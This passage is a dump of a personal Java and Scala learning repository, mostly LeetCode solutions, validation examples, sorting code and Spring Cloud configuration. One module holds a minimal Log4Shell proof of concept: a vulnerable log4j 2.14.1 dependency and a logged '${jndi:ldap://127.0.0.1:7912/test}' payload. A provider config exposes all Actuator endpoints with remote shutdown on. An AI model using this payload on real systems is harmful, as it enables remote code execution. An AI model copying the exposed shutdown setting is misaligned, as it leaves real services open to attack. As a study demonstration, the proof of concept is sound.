https://leetcode-cn.com/problems/binary-search/ 5 | * 6 | * @author h_vk 7 | * @since 2022/4/24 8 | */ 9 | public class LeetCode_704_二分查找 { 10 | public static void main(String[] args) { 11 | int[] nums = {-1, 0, 3, 5, 9, 12}; 12 | System.out.println(search(nums, 12)); 13 | } 14 | 15 | public static int search(int[] nums, int target) { 16 | int startIndex = 0, endIndex = nums.length - 1; 17 | while (startIndex <= endIndex) { 18 | int mid = startIndex + ((endIndex - startIndex) >> 1); 19 | int value = nums[mid]; 20 | if (value == target) { 21 | return mid; 22 | } else if (value > target) { 23 | endIndex = mid - 1; 24 | } else { 25 | startIndex = mid + 1; 26 | } 27 | } 28 | return -1; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/leetcode/剑指_OfferII077_链表排序.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.leetcode; 2 | 3 | /** 4 | * https://leetcode-cn.com/problems/7WHec2/ 5 | * 6 | * @author h_vk 7 | * @since 2022/4/21 8 | */ 9 | 10 | public class 剑指_OfferII077_链表排序 { 11 | public static void main(String[] args) { 12 | 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/validation/UserInfoService.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.validation; 2 | 3 | import lombok.Builder; 4 | 5 | import javax.validation.Valid; 6 | 7 | /** 8 | * @author h_vk 9 | * @since 2023/5/26 10 | */ 11 | @Builder 12 | public class UserInfoService { 13 | 14 | 15 | /** 16 | * 对入参进行校验 17 | * 18 | * @param userInfo 19 | */ 20 | public void setUserInfo(@Valid UserInfo userInfo) { 21 | } 22 | 23 | /** 24 | * 对输出参数进行校验 25 | * 26 | * @return 27 | */ 28 | public @Valid UserInfo getUserInfo() { 29 | return UserInfo.builder().build(); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/validation/custom/Phone.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.validation.custom; 2 | 3 | 4 | import javax.validation.Constraint; 5 | import javax.validation.Payload; 6 | import java.lang.annotation.*; 7 | 8 | /** 9 | * 自定义手机验证注解 10 | * 11 | * @author h_vk 12 | * @since 2023/5/26 13 | */ 14 | @Target(ElementType.FIELD) 15 | @Retention(RetentionPolicy.RUNTIME) 16 | @Documented 17 | @Constraint(validatedBy = PhoneValidator.class)// 指定注解校验器 18 | public @interface Phone { 19 | // 验证返回的信息 20 | String message() default "手机号不等你为空"; 21 | 22 | // 验证的组别 23 | Class[] groups() default {}; 24 | 25 | // 校验的有效负载 26 | Class[] payload() default {}; 27 | } 28 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/validation/custom/PhoneValidator.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.validation.custom; 2 | 3 | import javax.validation.ConstraintValidator; 4 | import javax.validation.ConstraintValidatorContext; 5 | import java.lang.annotation.Annotation; 6 | import java.util.regex.Pattern; 7 | 8 | /** 9 | * 字定义验证器 10 | * 11 | * @author h_vk 12 | * @since 2023/5/26 13 | */ 14 | public class PhoneValidator implements ConstraintValidator { 15 | 16 | 17 | /** 18 | * 验证规则 19 | * 20 | * @param value object to validate 21 | * @param context context in which the constraint is evaluated 22 | * @return 23 | */ 24 | @Override 25 | public boolean isValid(String value, ConstraintValidatorContext context) { 26 | 27 | // 定义正则表达式 28 | Pattern regex = Pattern.compile("158\\d{8}"); 29 | return regex.matcher(value).matches(); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /java/java-basic/src/main/proto/Message.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package me.hvkcoder.java_basic.io.netty.protobuf.proto; 4 | option java_package = "me.hvkcoder.java_basic.io.netty.protobuf.proto"; 5 | option java_outer_classname = "MessageDataProto"; 6 | 7 | message MessageData { 8 | enum DataType { 9 | PersonType = 0; 10 | StudentType = 1; 11 | } 12 | DataType data_type = 1; 13 | oneof data_body { 14 | Person person = 2; 15 | Student student = 3; 16 | } 17 | } 18 | 19 | message Person { 20 | int32 id = 1; 21 | string name = 2; 22 | } 23 | 24 | message Student { 25 | int32 id = 1; 26 | string name = 2; 27 | string address = 3; 28 | } -------------------------------------------------------------------------------- /java/java-basic/src/main/resources/web.properties: -------------------------------------------------------------------------------- 1 | servlet.one.url=/firstServlet.do 2 | servlet.one.className=me.hvkcoder.java_basic.io.netty.tomcat.servlet.FirstServlet 3 | servlet.two.url=/secondServlet.do 4 | servlet.two.className=me.hvkcoder.java_basic.io.netty.tomcat.servlet.SecondServlet -------------------------------------------------------------------------------- /java/log4j2-poc/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'java' 3 | } 4 | 5 | group 'me.hvkcoder' 6 | version '1.0-SNAPSHOT' 7 | 8 | repositories { 9 | mavenCentral() 10 | } 11 | 12 | dependencies { 13 | testImplementation 'org.junit.jupiter:junit-jupiter-api:5.7.2' 14 | testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine:5.7.2' 15 | 16 | implementation 'org.apache.logging.log4j:log4j-core:2.14.1' 17 | implementation 'org.apache.logging.log4j:log4j-api:2.14.1' 18 | implementation 'com.unboundid:unboundid-ldapsdk:6.0.3' 19 | 20 | } 21 | 22 | test { 23 | useJUnitPlatform() 24 | } -------------------------------------------------------------------------------- /java/log4j2-poc/src/main/java/me/hvkcoder/log4j2/Exploit.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.log4j2; 2 | 3 | /** 4 | * @author h_vk 5 | * @describe 6 | * @since 2021/12/16 7 | */ 8 | public class Exploit { 9 | static { 10 | System.out.println("Hello World"); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /java/log4j2-poc/src/main/java/me/hvkcoder/log4j2/Log4j.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.log4j2; 2 | 3 | import org.apache.logging.log4j.LogManager; 4 | import org.apache.logging.log4j.Logger; 5 | 6 | /** 7 | * @author h_vk 8 | * @describe 9 | * @since 2021/12/16 10 | */ 11 | public class Log4j { 12 | private static final Logger logger = LogManager.getLogger(Log4j.class); 13 | 14 | public static void main(String[] args) { 15 | logger.error("${jndi:ldap://127.0.0.1:7912/test}"); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /java/message-queue/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | implementation 'org.apache.kafka:kafka-clients:2.4.0' 3 | implementation 'org.apache.rocketmq:rocketmq-client:4.6.1' 4 | } -------------------------------------------------------------------------------- /java/message-queue/src/main/java/me/hvkcoder/message_queue/kafka/serializer/User.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.message_queue.kafka.serializer; 2 | 3 | import lombok.AllArgsConstructor; 4 | import lombok.Data; 5 | 6 | import java.io.Serializable; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2021/8/5 11 | */ 12 | @Data 13 | @AllArgsConstructor 14 | public class User implements Serializable { 15 | private int id; 16 | private String name; 17 | } 18 | -------------------------------------------------------------------------------- /java/message-queue/src/main/resources/logback.xml: -------------------------------------------------------------------------------- 1 | 2 |     3 | 4 | 5 | %d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg %n 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /java/mybatis/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'java' 3 | } 4 | 5 | dependencies { 6 | implementation 'org.mybatis:mybatis:3.5.9' 7 | implementation 'mysql:mysql-connector-java:8.0.25' 8 | } -------------------------------------------------------------------------------- /java/mybatis/src/main/java/me/hvkcoder/mybatis/practice/domain/User.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.mybatis.practice.domain; 2 | 3 | import lombok.Data; 4 | 5 | /** 6 | * @author h_vk 7 | * @since 2022/2/15 8 | */ 9 | @Data 10 | public class User { 11 | private String name; 12 | private String telephone; 13 | private String password; 14 | } 15 | -------------------------------------------------------------------------------- /java/mybatis/src/main/java/me/hvkcoder/mybatis/practice/repository/UserMapper.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.mybatis.practice.repository; 2 | 3 | import me.hvkcoder.mybatis.practice.domain.User; 4 | 5 | import java.util.List; 6 | 7 | /** 8 | * @author h_vk 9 | * @since 2022/2/15 10 | */ 11 | public interface UserMapper { 12 | /** 13 | * 获取全部数据 14 | * 15 | * @return 16 | */ 17 | List selectAll(); 18 | } 19 | -------------------------------------------------------------------------------- /java/mybatis/src/main/resources/mapper/UserMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 11 | -------------------------------------------------------------------------------- /java/mybatis/src/main/resources/mybatis-config.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /java/scala-basic/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'scala' 3 | } 4 | 5 | dependencies { 6 | implementation 'org.scala-lang:scala-library:2.13.6' 7 | } -------------------------------------------------------------------------------- /java/scala-basic/src/main/resources/data.txt: -------------------------------------------------------------------------------- 1 | hello spark 2 | hello java 3 | spark hadoop 4 | flink java 5 | golang spark -------------------------------------------------------------------------------- /java/scala-basic/src/main/scala/me/hvkcoder/algorithm/SortBubble.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.algorithm 2 | 3 | import scala.util.Random 4 | 5 | // 冒泡排序 6 | object SortBubble { 7 | def main(args: Array[String]): Unit = { 8 | val size = 10 9 | val numbers = new Array[Int](size) 10 | for (i <- 0 until size) { 11 | numbers(i) = Random.nextInt(400) 12 | } 13 | print("未排序的数据 => ") 14 | numbers.foreach(item => print(f"$item ")) 15 | 16 | println() 17 | print("冒泡排序结果 => ") 18 | for (i <- 0 until numbers.length - 1) { 19 | for (j <- 0 until numbers.length - 1 - i) { 20 | if (numbers(j) > numbers(j + 1)) { 21 | val tmp = numbers(j) 22 | numbers(j) = numbers(j + 1) 23 | numbers(j + 1) = tmp 24 | } 25 | } 26 | } 27 | numbers.foreach(item => print(f"$item ")) 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /java/scala-basic/src/main/scala/me/hvkcoder/algorithm/SortInsertion.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.algorithm 2 | 3 | import scala.util.Random 4 | 5 | // 插入排序 6 | object SortInsertion { 7 | def main(args: Array[String]): Unit = { 8 | val size = 10 9 | val numbers = new Array[Int](size) 10 | for (i <- 0 until size) { 11 | numbers(i) = Random.nextInt(100) 12 | } 13 | print("未排序的数据 => ") 14 | numbers.foreach(item => print(f"$item ")) 15 | 16 | for (i <- numbers.indices) { 17 | for (j <- i until(0, -1); if (numbers(j) < numbers(j - 1))) { 18 | val tmp = numbers(j) 19 | numbers(j) = numbers(j - 1) 20 | numbers(j - 1) = tmp 21 | } 22 | } 23 | println() 24 | print("插入排序结果 => ") 25 | numbers.foreach(item => print(f"$item ")) 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /java/scala-basic/src/main/scala/me/hvkcoder/algorithm/SortSelection.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.algorithm 2 | 3 | import scala.util.Random 4 | 5 | // 选择排序 6 | object SortSelection { 7 | def main(args: Array[String]): Unit = { 8 | val size = 10 9 | val numbers = new Array[Int](size) 10 | for (i <- 0 until size) { 11 | numbers(i) = Random.nextInt(100) 12 | } 13 | print("未排序的数据 => ") 14 | numbers.foreach(item => print(f"$item ")) 15 | 16 | for (i <- numbers.indices) { 17 | var min = i 18 | for (j <- i + 1 until numbers.length) { 19 | if (numbers(min) > numbers(j)) { 20 | min = j 21 | } 22 | } 23 | 24 | if (min != i) { 25 | val tmp = numbers(i) 26 | numbers(i) = numbers(min) 27 | numbers(min) = tmp 28 | } 29 | } 30 | println() 31 | print("选择排序结果 => ") 32 | numbers.foreach(item => print(f"$item ")) 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /java/scala-basic/src/main/scala/me/hvkcoder/basic/ReadFile.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.basic 2 | 3 | import scala.io.Source.{fromFile, fromURL} 4 | 5 | object ReadFile { 6 | def main(args: Array[String]): Unit = { 7 | println("================= 按行读取文件 =================") 8 | val textFile = fromFile(ClassLoader.getSystemResource("data.txt").getPath) 9 | for (line <- textFile.getLines()) { 10 | println(line) 11 | } 12 | textFile.close() 13 | 14 | println("================= 读取网络文件 =================") 15 | val baidu = fromURL("http://www.baidu.com") 16 | for (line <- baidu.getLines()) { 17 | println(line) 18 | } 19 | baidu.close() 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /java/scala-basic/src/main/scala/me/hvkcoder/basic/Trait.scala: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.basic 2 | 3 | // Trait 类似于 Java 中的接口,与接口不同的是,Trait 中可以定义属性与方法的实现 4 | // Scala 中类是单继承父类的,但父类是 Trait 可以多继承 5 | trait Animal { 6 | def eat(): Unit = { 7 | println("吃饭~") 8 | } 9 | } 10 | 11 | class Human(var name: String, var age: Int) { 12 | def say(): Unit = { 13 | println("说话~") 14 | } 15 | } 16 | 17 | // Scala 中对于父类构造器有的属性可以不使用 var 或 val 声明,对于父类构造器没有的属性需要添加 var 或 val 声明 18 | class Person(name: String, age: Int, var hobby: String) extends Human(name, age) with Animal { 19 | def playGaming(): Unit = { 20 | println("玩游戏~") 21 | } 22 | 23 | // 通过使用 override 对父类方法进行重写 24 | override def say(): Unit = { 25 | println(s"$name 正在说话") 26 | } 27 | } 28 | 29 | object Trait { 30 | def main(args: Array[String]): Unit = { 31 | val people: Person = new Person("张三", 18, "打篮球") 32 | people.eat() 33 | people.say() 34 | people.playGaming() 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /java/settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'java' 2 | include 'java-basic' 3 | include 'scala-basic' 4 | include 'bigdata' 5 | include 'vertx' 6 | include 'spring' 7 | include 'spring:spring-cloud-eureka' 8 | include 'spring:spring-cloud-zuul' 9 | include 'spring:spring-cloud-gateway' 10 | include 'spring:service-provider' 11 | include 'spring:service-consumer' 12 | include 'spring:spring-security' 13 | include 'spring:spring-practice' 14 | include 'spring:spring-webflux' 15 | include 'spring:spring-custom' 16 | include 'spring:custom-spring-boot-starter' 17 | include 'message-queue' 18 | include 'dubbo' 19 | include 'dubbo:common' 20 | include 'dubbo:consumer' 21 | include 'dubbo:provider' 22 | include 'log4j2-poc' 23 | include 'mybatis' -------------------------------------------------------------------------------- /java/spring/custom-spring-boot-starter/src/main/java/me/hvkcoder/custom/spring/boot/starter/NettyProperties.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.custom.spring.boot.starter; 2 | 3 | import lombok.Data; 4 | import org.springframework.beans.factory.annotation.Value; 5 | import org.springframework.boot.context.properties.ConfigurationProperties; 6 | 7 | /** 8 | * @author h_vk 9 | * @since 2024/3/11 10 | */ 11 | @Data 12 | @ConfigurationProperties(prefix = "netty.server") 13 | public class NettyProperties { 14 | @Value("true") 15 | private Boolean enabled; 16 | 17 | @Value("0.0.0.0") 18 | private String host; 19 | 20 | @Value("12138") 21 | private Integer port; 22 | } 23 | -------------------------------------------------------------------------------- /java/spring/custom-spring-boot-starter/src/main/java/me/hvkcoder/custom/spring/boot/starter/callback/CallBack.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.custom.spring.boot.starter.callback; 2 | 3 | /** 4 | * @author h_vk 5 | * @since 2024/3/28 6 | */ 7 | public interface CallBack { 8 | public void process(String result); 9 | } 10 | -------------------------------------------------------------------------------- /java/spring/custom-spring-boot-starter/src/main/java/me/hvkcoder/custom/spring/boot/starter/callback/CallBackRegistry.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.custom.spring.boot.starter.callback; 2 | 3 | import lombok.Data; 4 | 5 | import java.util.ArrayList; 6 | import java.util.List; 7 | 8 | /** 9 | * @author h_vk 10 | * @since 2024/3/28 11 | */ 12 | @Data 13 | public class CallBackRegistry { 14 | private final List callbacks = new ArrayList<>(); 15 | 16 | public void register(CallBack callback) { 17 | callbacks.add(callback); 18 | } 19 | 20 | public Boolean isEmpty() { 21 | return callbacks.isEmpty(); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /java/spring/custom-spring-boot-starter/src/main/resources/META-INF/spring.factories: -------------------------------------------------------------------------------- 1 | org.springframework.boot.autoconfigure.EnableAutoConfiguration=me.hvkcoder.custom.spring.boot.starter.NettyStarter -------------------------------------------------------------------------------- /java/spring/service-consumer/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | // Eureka 3 | // implementation 'org.springframework.cloud:spring-cloud-starter-netflix-eureka-client' 4 | 5 | // Nacos 依赖 6 | implementation 'com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery' 7 | implementation 'com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-config' 8 | 9 | // Spring Cloud Loadbalancer 10 | implementation 'org.springframework.cloud:spring-cloud-starter-loadbalancer' 11 | } -------------------------------------------------------------------------------- /java/spring/service-consumer/src/main/java/me/hvkcoder/spring/service/consumer/ServiceConsumerApplication.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.service.consumer; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.cloud.client.loadbalancer.LoadBalanced; 6 | import org.springframework.context.annotation.Bean; 7 | import org.springframework.web.client.RestTemplate; 8 | 9 | /** 10 | * @author h-vk 11 | * @since 2021/3/18 12 | */ 13 | @SpringBootApplication 14 | public class ServiceConsumerApplication { 15 | public static void main(String[] args) { 16 | SpringApplication.run(ServiceConsumerApplication.class, args); 17 | } 18 | 19 | @Bean 20 | public RestTemplate restTemplate() { 21 | return new RestTemplate(); 22 | } 23 | 24 | @Bean 25 | @LoadBalanced // 使 RestTemplate 具有负载均衡功能 26 | public RestTemplate loadBalancer() { 27 | return new RestTemplate(); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /java/spring/service-consumer/src/main/java/me/hvkcoder/spring/service/consumer/controller/NacosConfigController.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.service.consumer.controller; 2 | 3 | import org.springframework.beans.factory.annotation.Value; 4 | import org.springframework.cloud.context.config.annotation.RefreshScope; 5 | import org.springframework.web.bind.annotation.GetMapping; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.RestController; 8 | 9 | /** 10 | * @author h_vk 11 | * @since 2021/6/17 12 | */ 13 | @RestController 14 | @RefreshScope // 表示支持 Nacos 配置动态刷新 15 | @RequestMapping("/nacos/config") 16 | public class NacosConfigController { 17 | @Value("${name}") 18 | private String name; 19 | 20 | @GetMapping("/get/name") 21 | public String getConfigInfo() { 22 | return name; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /java/spring/service-consumer/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 9010 3 | 4 | spring: 5 | cloud: 6 | nacos: 7 | ######################## 8 | # Nacos 服务发现配置 9 | ######################## 10 | discovery: 11 | server-addr: 127.0.0.1:8848 12 | 13 | ######################## 14 | # Eureka Client 配置 15 | ######################## 16 | eureka: 17 | client: 18 | service-url: 19 | defaultZone: http://eureka1:8761/eureka,http://eureka2:8762/eureka -------------------------------------------------------------------------------- /java/spring/service-consumer/src/main/resources/bootstrap.yml: -------------------------------------------------------------------------------- 1 | ######################## 2 | # bootstrap.yml 配置在服务还未启动时进行加载 3 | ######################## 4 | spring: 5 | application: 6 | name: service-consumer 7 | cloud: 8 | nacos: 9 | ######################## 10 | # Nacos 配置中心配置 11 | ######################## 12 | config: 13 | server-addr: k8s-180:30848 # Nacos 配置中心地址 14 | file-extension: yaml # 指定文件扩展(可选值:yaml 或 application) -------------------------------------------------------------------------------- /java/spring/service-provider/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | // Eureka 3 | // implementation 'org.springframework.cloud:spring-cloud-starter-netflix-eureka-client' 4 | 5 | // Nacos 依赖 6 | implementation 'com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery' 7 | // implementation 'com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-config' 8 | 9 | implementation 'org.springframework.boot:spring-boot-starter-actuator' 10 | } -------------------------------------------------------------------------------- /java/spring/service-provider/src/main/java/me/hvkcoder/service/provider/ServiceProviderApplication.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.service.provider; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | /** 7 | * @author h-vk 8 | * @since 2021/3/18 9 | */ 10 | @SpringBootApplication 11 | public class ServiceProviderApplication { 12 | public static void main(String[] args) { 13 | SpringApplication.run(ServiceProviderApplication.class, args); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /java/spring/service-provider/src/main/java/me/hvkcoder/service/provider/service/HealthStatusService.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.service.provider.service; 2 | 3 | import org.springframework.boot.actuate.health.Health; 4 | import org.springframework.boot.actuate.health.HealthIndicator; 5 | import org.springframework.stereotype.Service; 6 | 7 | /** 8 | * 手动设置服务上下线状态 9 | * 10 | * @author h-vk 11 | * @since 2021/3/21 12 | */ 13 | @Service 14 | public class HealthStatusService implements HealthIndicator { 15 | 16 | private Boolean status = true; 17 | 18 | public void setStatus(Boolean status) { 19 | this.status = status; 20 | } 21 | 22 | public Boolean getStatus() { 23 | return status; 24 | } 25 | 26 | @Override 27 | public Health health() { 28 | if (status) { 29 | return new Health.Builder().up().build(); 30 | } else { 31 | return new Health.Builder().down().build(); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /java/spring/service-provider/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 9001 3 | 4 | spring: 5 | application: 6 | name: service-provider 7 | cloud: 8 | nacos: 9 | discovery: 10 | server-addr: k8s-180:30848 11 | ######################## 12 | # Eureka Client 配置 13 | ######################## 14 | eureka: 15 | client: 16 | service-url: 17 | defaultZone: http://eureka1:8761/eureka,http://eureka2:8762/eureka 18 | # 开启上报服务真实状态 19 | healthcheck: 20 | enabled: true 21 | 22 | 23 | ######################## 24 | # Actuator 设置 25 | ######################## 26 | management: 27 | endpoints: 28 | web: 29 | exposure: 30 | # 开启所有端点 31 | include: '*' 32 | endpoint: 33 | # 启用 shutdown 远程关闭服务 34 | shutdown: 35 | enabled: true -------------------------------------------------------------------------------- /java/spring/spring-cloud-eureka/build.gradle: -------------------------------------------------------------------------------- 1 | jar { 2 | archiveName("eureka-server-${springBootVersion}.jar") 3 | exclude("*.jar", "*.yml") 4 | dependsOn(extractFile) 5 | manifest { 6 | attributes( 7 | "Manifest-Version": "1.0", 8 | 'Main-Class': 'me.hvkcoder.spring_cloud_eureka.EurekaServerApplication' 9 | ) 10 | } 11 | } 12 | 13 | 14 | dependencies { 15 | implementation 'org.springframework.cloud:spring-cloud-starter-netflix-eureka-server' 16 | implementation 'org.springframework.boot:spring-boot-starter-actuator' 17 | } -------------------------------------------------------------------------------- /java/spring/spring-cloud-eureka/src/main/java/me/hvkcoder/spring_cloud_eureka/EurekaServerApplication.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring_cloud_eureka; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.cloud.netflix.eureka.server.EnableEurekaServer; 6 | 7 | /** 8 | * Eureka Server 9 | * 10 | * @author h-vk 11 | * @since 2020-02-14 12 | */ 13 | @SpringBootApplication 14 | @EnableEurekaServer 15 | public class EurekaServerApplication { 16 | public static void main(String[] args) { 17 | SpringApplication.run(EurekaServerApplication.class, args); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /java/spring/spring-cloud-eureka/src/main/resources/application-eureka1.yml: -------------------------------------------------------------------------------- 1 | server: 2 | # 设置服务端口号 3 | port: 8761 4 | 5 | ######################## 6 | # Eureka Server 配置 7 | ######################## 8 | eureka: 9 | instance: 10 | # eureka 服务主机名名称, 用于查找主机地址 11 | hostname: eureka1 12 | server: 13 | # 关闭保护机制 14 | enable-self-preservation: false 15 | # 关闭一级缓存,让客户端直接去二级缓存中读取 16 | use-read-only-response-cache: false 17 | # 每秒监测一次,去除失效实例 18 | eviction-interval-timer-in-ms: 1000 19 | client: 20 | # # 是否向服务中心注册 默认 true 21 | # register-with-eureka: false 22 | # # 是否从注册中心检索服务 默认 true 23 | # fetch-registry: false 24 | service-url: 25 | # 注册中心地址 26 | defaultZone: http://eureka1:8761/eureka/,http://eureka1:8762/eureka/ -------------------------------------------------------------------------------- /java/spring/spring-cloud-eureka/src/main/resources/application-eureka2.yml: -------------------------------------------------------------------------------- 1 | server: 2 | # 设置服务端口号 3 | port: 8762 4 | 5 | ######################## 6 | # Eureka Server 配置 7 | ######################## 8 | eureka: 9 | instance: 10 | # eureka 服务主机名名称, 用于查找主机地址 11 | hostname: eureka2 12 | server: 13 | # 关闭保护机制 14 | enable-self-preservation: false 15 | use-read-only-response-cache: false 16 | eviction-interval-timer-in-ms: 1000 17 | client: 18 | # 是否向服务中心注册 默认 true 19 | # register-with-eureka: false 20 | # # 是否从注册中心检索服务 默认 true 21 | # fetch-registry: false 22 | service-url: 23 | # 注册中心地址 24 | defaultZone: http://eureka1:8761/eureka/,http://eureka2:8762/eureka/ -------------------------------------------------------------------------------- /java/spring/spring-cloud-eureka/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | spring: 2 | application: 3 | name: EUREKA-SERVER 4 | profiles: 5 | active: eureka1 -------------------------------------------------------------------------------- /java/spring/spring-cloud-gateway/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | // Nacos 依赖 3 | implementation 'com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery' 4 | // Gateway 依赖 5 | implementation 'org.springframework.cloud:spring-cloud-starter-gateway' 6 | implementation 'org.springframework.boot:spring-boot-starter-actuator' 7 | } -------------------------------------------------------------------------------- /java/spring/spring-cloud-gateway/src/main/java/me/hvkcoder/springcloud/gateway/GatewayApplication.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.springcloud.gateway; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.cloud.gateway.route.RouteLocator; 6 | import org.springframework.cloud.gateway.route.builder.RouteLocatorBuilder; 7 | import org.springframework.context.annotation.Bean; 8 | 9 | /** 10 | * @author h_vk 11 | * @since 2021/6/21 12 | */ 13 | @SpringBootApplication 14 | public class GatewayApplication { 15 | public static void main(String[] args) { 16 | SpringApplication.run(GatewayApplication.class, args); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /java/spring/spring-cloud-gateway/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 7000 3 | spring: 4 | application: 5 | name: gateway 6 | cloud: 7 | nacos: 8 | discovery: 9 | server-addr: k8s-180:30848 10 | ######################## 11 | # Spring Cloud Gateway 配置 12 | ######################## 13 | gateway: 14 | discovery: 15 | locator: 16 | ## 是否开启通过注册中心进行路由转发 17 | enabled: true 18 | ## 开启消息服务名称 19 | lower-case-service-id: true 20 | ## 网关路由配置 21 | routes: 22 | - id: service-consumer-routh # 路由ID,没有固定规则,需要保证唯一性 23 | uri: lb://service-consumer # 服务的目标地址,lb 表示启用 Gateway 负载均衡 24 | predicates: 25 | - Path=/nacos/** # 断言,进行路由匹配 26 | -------------------------------------------------------------------------------- /java/spring/spring-cloud-zuul/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | // Nacos 依赖 3 | implementation 'com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery' 4 | // Zuul 5 | implementation 'org.springframework.cloud:spring-cloud-starter-netflix-zuul:2.2.10.RELEASE' 6 | implementation 'org.springframework.boot:spring-boot-starter-actuator' 7 | } -------------------------------------------------------------------------------- /java/spring/spring-cloud-zuul/src/main/java/me/hvkcoder/springcloud/zuul/ZuulServerApplication.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.springcloud.zuul; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.cloud.netflix.zuul.EnableZuulProxy; 6 | 7 | /** 8 | * @author h_vk 9 | * @since 2021/6/20 10 | */ 11 | @SpringBootApplication 12 | @EnableZuulProxy 13 | public class ZuulServerApplication { 14 | public static void main(String[] args) { 15 | SpringApplication.run(ZuulServerApplication.class, args); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /java/spring/spring-cloud-zuul/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 7000 3 | 4 | spring: 5 | application: 6 | name: zuul 7 | cloud: 8 | nacos: 9 | discovery: 10 | server-addr: k8s-180:30848 11 | -------------------------------------------------------------------------------- /java/spring/spring-custom/spring-custom.gradle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/java/spring/spring-custom/spring-custom.gradle -------------------------------------------------------------------------------- /java/spring/spring-custom/src/main/java/me/hvkcoder/spring/custom/ApplicationContext.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.spring.custom; 2 | 3 | /** 4 | * @author h_vk 5 | * @since 2022/3/26 6 | */ 7 | public interface ApplicationContext { 8 | Object getBean(String beanName) throws Exception; 9 